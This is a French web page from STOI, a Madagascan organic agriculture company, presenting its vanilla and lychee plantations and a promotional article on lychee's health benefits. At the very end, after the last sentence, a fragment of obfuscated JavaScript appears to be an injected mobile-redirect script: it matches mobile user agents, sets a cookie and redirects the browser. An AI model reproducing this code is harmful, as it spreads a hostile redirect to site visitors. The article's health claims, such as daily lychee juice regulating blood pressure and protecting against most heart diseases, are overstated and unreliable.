Vanille Naturelle - STOI - Société Trading de l'Océan Indien, la STOI spécialisée dans l´agriculture biologique depuis 1997 avec activité principale le respect de la terre, des producteurs, de la nature et des consommateurs, avec production du fertilisant biologique Taroka
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Depuis 1999, elle a développé des plantations de vanille, de litchis, de girofle, de pomme de terre, de l´ananas victoria, de piment dans les régions de Tamatave et d´Antsirabe.
La STOI-AGRI est la première à Madagascar à certifier leurs produits (fertilisants, litchis) en tant que produits biologiques auprès de l´ECOCERT INTERNATIONAL.
Depuis 2006, sa production de vanille est également certifiée bio.
Les plantations de litchis en partenariat avec des producteurs sont aussi certifiées Global Gap à partir de 2007.
Durant plus de quinze ans, la STOI s´est attachée à promouvoir la diversité des produits à Madagascar, la qualité des produits régionaux, le savoir-faire des hommes dans le respect des cultures et traditions locales pour offrir au plus grand nombre ce que la nature peut donner de meilleur.
" Le travail de la terre demande beaucoup d´efforts. La collecte, le triage nécessitent beaucoup de travail. Les conditions de travail à Madagascar ne sont pas toujours faciles. C´est avec détermination que beau temps mauvais temps, l´équipe met du cœur à l´ouvrage. Leurs efforts sont récompensés : leur plus grande satisfaction, ils l´obtiennent quand ils voient le produit final sur les palettes. Le sentiment d´accomplissement et de fierté qu´ils en tirent est une grande source de motivation "
Agriculture contractuelle : Rabetsitonta Tovonanahary présente un modèle de réussite à Miandrivazo

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Litchi, le fruit aux 1000 vertus à consommer été comme hiver

Très gourmand et juteux, le litchi est excellent en été, comme en hiver. Le litchi est un fruit exotique qui dévoile tous ses atouts sous une jolie écorce rougeâtre. Les vertus du litchi ont fait leurs preuves dans des pays comme la Chine ou l'Inde, où le fruit est consommé régulièrement. Il contient de nombreux nutriments qui renforcent l'organisme.

Le litchi au fil des saisons

Si le litchi est un fruit d'été, il peut également être consommé en hiver, en sirop ou en jus, même si ces modes de conservation contiennent moins de nutriments que les fruits frais. Il possède une qualité très appréciable pendant les grandes chaleurs estivales : il régule la température du corps. Cela vous aide à ne pas trop souffrir d'un coup de chaud. Le litchi est également un mode de protection naturel contre les rayons UV, grâce aux polyphénols qu'il contient. En hiver, vous ferez le plein de vitamine C, laquelle, en plus d'être excellente pour vos os et votre peau en combinaison avec le calcium, boosté vos défenses immunitaires et vous permet de lutter contre les virus hivernaux, notamment les virus grippaux.

Le litchi, bon pour les artères

Le litchi est une excellente source de potassium, qui est essentiel à la santé de vos cellules sanguines et à l'équilibre de votre tension artérielle. Un verre de jus de litchi par jour régule votre pression artérielle et fait reculer les risques de pathologies cardiovasculaires. Il offre donc une bonne protection contre la plupart des maladies du cœur. Le cuivre est, quant à lui, nécessaire à la fabrication des cellules sanguines. Les vitamines B du litchi sont également une bonne façon de prendre soin de votre cœur, car elles aident à métaboliser les acides gras, en plus des protéines. Avec le litchi, vous mettez toutes les chances de votre coté pour faire baisser votre taux de cholestérol. |83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}